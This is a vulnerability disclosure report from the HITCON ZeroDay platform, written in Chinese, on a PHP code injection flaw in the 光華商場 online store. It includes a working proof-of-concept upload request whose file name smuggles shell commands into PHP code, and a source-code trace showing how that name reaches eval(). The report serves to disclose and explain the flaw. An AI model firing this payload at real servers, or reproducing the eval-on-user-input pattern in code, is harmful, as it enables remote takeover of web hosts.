光華商場網路商城 PHP Code Injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-00664
  •  發信 Vendor: 光華商場
  • Title: 光華商場網路商城 PHP Code Injection
  • Introduction: PHP Code Injection

處理狀態

目前狀態

公開
Last Update : 2020/09/24
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2020/07/25 00:39:25 : 新提交 (由 Cyku 更新此狀態)
  • 2020/07/26 22:46:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/07/27 21:46:54 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/07/27 21:46:54 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/07/28 17:18:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/07/28 17:18:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/07/28 17:18:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/09/24 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-00664
  • 通報者:kanade86514 (Cyku)
  • 風險:嚴重
  • 類型:程式碼執行 (Code Execution)

參考資料

攻擊者可藉由此漏洞執行惡意程式碼,進行如操縱網站作業系統等惡意行為。
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.gh3c.com.tw/index.php?app=member&act=profile&ajax=1

敘述

PoC

需要先登入一般帳號,並將 ECM_ID 替換成登入後的合法 Cookie。

POST data:

POST /index.php?app=member&act=profile&ajax=1 HTTP/1.1
Host: www.gh3c.com.tw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------23281168279961
Content-Length: 519
Cookie: ECM_ID=5b799e36595e8bb2e96187831b8723ff22d30cad
Connection: close

-----------------------------23281168279961
Content-Disposition: form-data; name="portrait"; filename="200.jpg'-die(`id;hostname;ifconfig`)-'"
Content-Type: image/jpeg

aaa
-----------------------------23281168279961
Content-Disposition: form-data; name="real_name"

-----------------------------23281168279961
Content-Disposition: form-data; name="gender"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="birthday"

-----------------------------23281168279961--

截圖佐證

圖片

成因分析

在處理上傳頭像時,$uploader->addFile 會先檢查副檔名是否合法(白名單:gif|jpg|jpeg|png)。

File: app/member.app.php
619:     /**
620:      * 上传头像
621:      *
622:      * @param int $user_id
623:      * @return mix false表示上传失败,空串表示没有上传,string表示上传文件地址
624:      */
625:     function _upload_portrait($user_id) {
626:         $file = $_FILES['portrait'];
627:         if ($file['error'] != UPLOAD_ERR_OK) {
628:             return '';
629:         }
630:         import('uploader.lib');
631:         $uploader = new Uploader();
632:         $uploader->allowed_type(IMAGE_FILE_TYPE);
633:         $uploader->addFile($file);
634:         if ($uploader->file_info() === false) {
635:             $this->show_warning($uploader->get_error(), 'go_back', 'index.php?app=member&act=profile');
636:             return false;
637:         }
638:         $uploader->root_dir(ROOT_PATH);
639:         return $uploader->save('data/files/mall/portrait/' . ceil($user_id / 500), $user_id);
640:     }

我們可以在 includes/libraries/uploader.lib.php 中的第 163 ~ 165 行看到,如果副檔名檢查失敗,$uploader 就會將失敗的錯誤訊息與檔名記錄下來,記錄方式的函式 _error 則在 eccore/ecmall.php 中實作,隨後返回到前述 member.app.php 中的第 635 行交給 $this->show_warning 輸出錯誤訊息。

File: includes/libraries/uploader.lib.php
24:     function addFile($file)
25:     {
26:         if (!is_uploaded_file($file['tmp_name']))
27:         {
28:             return false;
29:         }
30:         $this->_file = $this->_get_uploaded_info($file);
31:     }

File: includes/libraries/uploader.lib.php
158:     function _get_uploaded_info($file)
159:     {
160:         $pathinfo = pathinfo($file['name']);
161:         $file['extension'] = $pathinfo['extension'];
162:         $file['filename']     = $pathinfo['basename'];
163:         if (!$this->_is_allowd_type($file['extension']) || !$this->check_file_type($file['tmp_name'],$file['name'],$this->_file_type_str))
164:         {
165:             $this->_error('not_allowed_type', $file['name'].':'.$file['extension']);
166: 
167:             return false;
168:         }
169:         if (!$this->_is_allowd_size($file['size']))
170:         {
171:             $this->_error(Lang::get('not_allowed_size').$this->formatBytes($this->_allowed_file_size), $file['name'].':'.$this->formatBytes($file['size']));
172: 
173:             return false;
174:         }
175: 
176:         return $file;
177:     }

File: eccore/ecmall.php
116:    /**
117:     *  触发错误
118:     *
119:     *  @author Garbin
120:     *  @param   string $errmsg
121:     *  @return void
122:     */
123:    function _error($msg, $obj = '') {
124:        if (is_array($msg)) {
125:            $this->_errors = array_merge($this->_errors, $msg);
126:            $this->_errnum += count($msg);
127:        } else {
128:            $this->_errors[] = compact('msg', 'obj');
129:            $this->_errnum++;
130:        }
131:    }

而 show_warning 的實作如下,會先呼叫 _trigger_message 做一些訊息的處理與轉換。

File: eccore/controller/message.base.php
62: /**
63:     * send a system warning message
64:     *
65:     * @param string $msg
66:     */
67: function show_warning ($msg)
68: {
69:     $a = _trigger_message(func_get_args());
70: 
71:     _message(serialize($a), E_USER_WARNING);
72: }

前面錯誤訊息記錄下來的檔名與副檔名存放在變數 $err['obj'],而該變數在 message.base.php 的第 30 行中被傳入 Lang::get 函式裡。

File: eccore/controller/message.base.php
14: function _trigger_message ($arr)
15: {
16:     if (count($arr) < 2) {
17:         $arr[] = Lang::get('go_back');
18:     }
19:     if (count($arr) < 3) {
20:         $arr[] = 'javascript:history.back()';
21:     }
22:     $m = '';
23:     if (!empty($arr[0]))
24:     {
25:         if (is_array($arr[0]))
26:         {
27:             $m = Lang::get('has_error');
28:             foreach ($arr[0] as $key => $err)
29:             {
30:                 $m .= Lang::get($err['msg']) . ($err['obj'] ? '[' . Lang::get($err['obj']) . ']' : '') . '<br />';
31:             }
32:         }
33:         else
34:         {
35:             $m = Lang::get($arr[0]);
36:         }
37:     }

最終在 Lang::get 的實作裡面呼叫了 eval 作解析,而 $key 就是最早錯誤訊息產生的由我們 client 端控制的檔名與副檔名,造成 PHP Code Injection,導致可遠端執行任意系統指令控制伺服器主機。

File: eccore/ecmall.php
162: class Lang {
163: 
164:    /**
165:     *  获取指定键的语言项
166:     *
167:     *  @author Garbin
168:     *  @param   none
169:     *  @return mixed
170:     */
171:    static  function &get($key = '') {
172:        if (Lang::_valid_key($key) == false) {
173:            return $key;
174:        }
175:        $vkey = $key ? strtokey("{$key}", '$GLOBALS[\'__ECLANG__\']') : '$GLOBALS[\'__ECLANG__\']';
176:        $tmp = eval('if(isset(' . $vkey . '))return ' . $vkey . ';else{ return $key; }');
177: 
178:        return $tmp;
179:    }

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;